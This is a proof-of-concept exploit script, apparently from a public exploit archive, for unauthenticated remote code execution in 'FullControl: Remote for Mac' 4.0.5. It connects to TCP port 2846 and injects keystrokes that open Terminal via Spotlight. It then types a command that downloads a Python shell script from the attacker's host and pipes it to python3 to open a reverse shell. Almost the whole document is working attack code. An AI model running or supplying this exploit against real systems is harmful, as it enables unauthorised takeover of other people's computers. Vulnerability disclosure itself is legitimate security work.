# Exploit Title: FullControl: Remote for Mac 4.0.5 - Remote Code Execution # Date: 25/07/2025 # Exploit Author: Chokri Hammedi # Vendor Homepage: https://fullcontrol.cescobaz.com/ # Software Link: https://apps.apple.com/us/app/fullcontrol-remote-for-mac/id347857890 # Version: 4.0.5 # Tested on: macOS 14.4 Sonoma ''' Description: "FullControl: Remote for Mac" v4.0.5 for macOS is vulnerable to unauthenticated Remote Code Execution (RCE) via TCP port 2846. An attacker on the same network can inject simulated keyboard input, allowing arbitrary command execution without user interaction or authentication. ''' import socket import time HOST = '192.168.8.101' PORT = 2846 LHOST = '192.168.8.100' DEBUG = False packets_to_send = [ 'accessibilityAPIEnabled', 'protocol', 'API_level', 'fc', 'os', 'json2', 'rsion', 'fc', 'os', 'device', 'FullControl', '4.2.0', '4.2.0', '26.0', 'Attacker', ] open_terminal_payloads = [ '{"Class":"Command","Id":17,"Process":{"Class":"Process","Pid":-1,"InFocus":0},"Type":"keyboard","Instruction":"#4 space"}', '{"Class":"Command","Id":18,"Process":{"Class":"Process","Pid":-1,"InFocus":0},"Type":"keyboard","Instruction":"t"}', '{"Class":"Command","Id":19,"Process":{"Class":"Process","Pid":-1,"InFocus":0},"Type":"keyboard","Instruction":"e"}', '{"Class":"Command","Id":20,"Process":{"Class":"Process","Pid":-1,"InFocus":0},"Type":"keyboard","Instruction":"r"}', '{"Class":"Command","Id":21,"Process":{"Class":"Process","Pid":-1,"InFocus":0},"Type":"keyboard","Instruction":"m"}', '{"Class":"Command","Id":22,"Process":{"Class":"Process","Pid":-1,"InFocus":0},"Type":"keyboard","Instruction":"i"}', '{"Class":"Command","Id":23,"Process":{"Class":"Process","Pid":-1,"InFocus":0},"Type":"keyboard","Instruction":"n"}', '{"Class":"Command","Id":24,"Process":{"Class":"Process","Pid":-1,"InFocus":0},"Type":"keyboard","Instruction":"a"}', '{"Class":"Command","Id":25,"Process":{"Class":"Process","Pid":-1,"InFocus":0},"Type":"keyboard","Instruction":"l"}', '{"Class":"Command","Id":26,"Process":{"Class":"Process","Pid":-1,"InFocus":0},"Type":"keyboard","Instruction":"return"}', ] reverse_shell = f'curl http://{LHOST}/shell.py | python3' reverse_shell_payloads = [] for c in reverse_shell: if c == " ": instr = "space" elif c == "\n": instr = "return" else: instr = c reverse_shell_payloads.append( f'{{"Class":"Command","Id":18,"Process":{{"Class":"Process","Pid":-1,"InFocus":0}},"Type":"keyboard","Instruction":"{instr}"}}' ) reverse_shell_payloads.append( '{"Class":"Command","Id":19,"Process":{"Class":"Process","Pid":-1,"InFocus":0},"Type":"keyboard","Instruction":"return"}' ) def send_packets(sock, packets, delay=0.01): for i, pkt in enumerate(packets): if DEBUG: print(f"[>] Sending: {pkt}") sock.sendall(pkt.encode()) if i == 0: time.sleep(1.0) else: time.sleep(delay) try: response = sock.recv(4096) if response: if DEBUG: print(f"[<] Received: {response.decode(errors='ignore')}") except socket.timeout: continue def main(): with socket.create_connection((HOST, PORT)) as sock: sock.settimeout(1.0) print("[*] Sending negotiation packets...") send_packets(sock, packets_to_send) time.sleep(2) print("[*] Opening Terminal via Spotlight...") send_packets(sock, open_terminal_payloads, 0.5) time.sleep(2) print("[*] Sending reverse shell payload...") send_packets(sock, reverse_shell_payloads, 0.01) print("[+] Reverse shell triggered. Check your listener.") if __name__ == "__main__": main()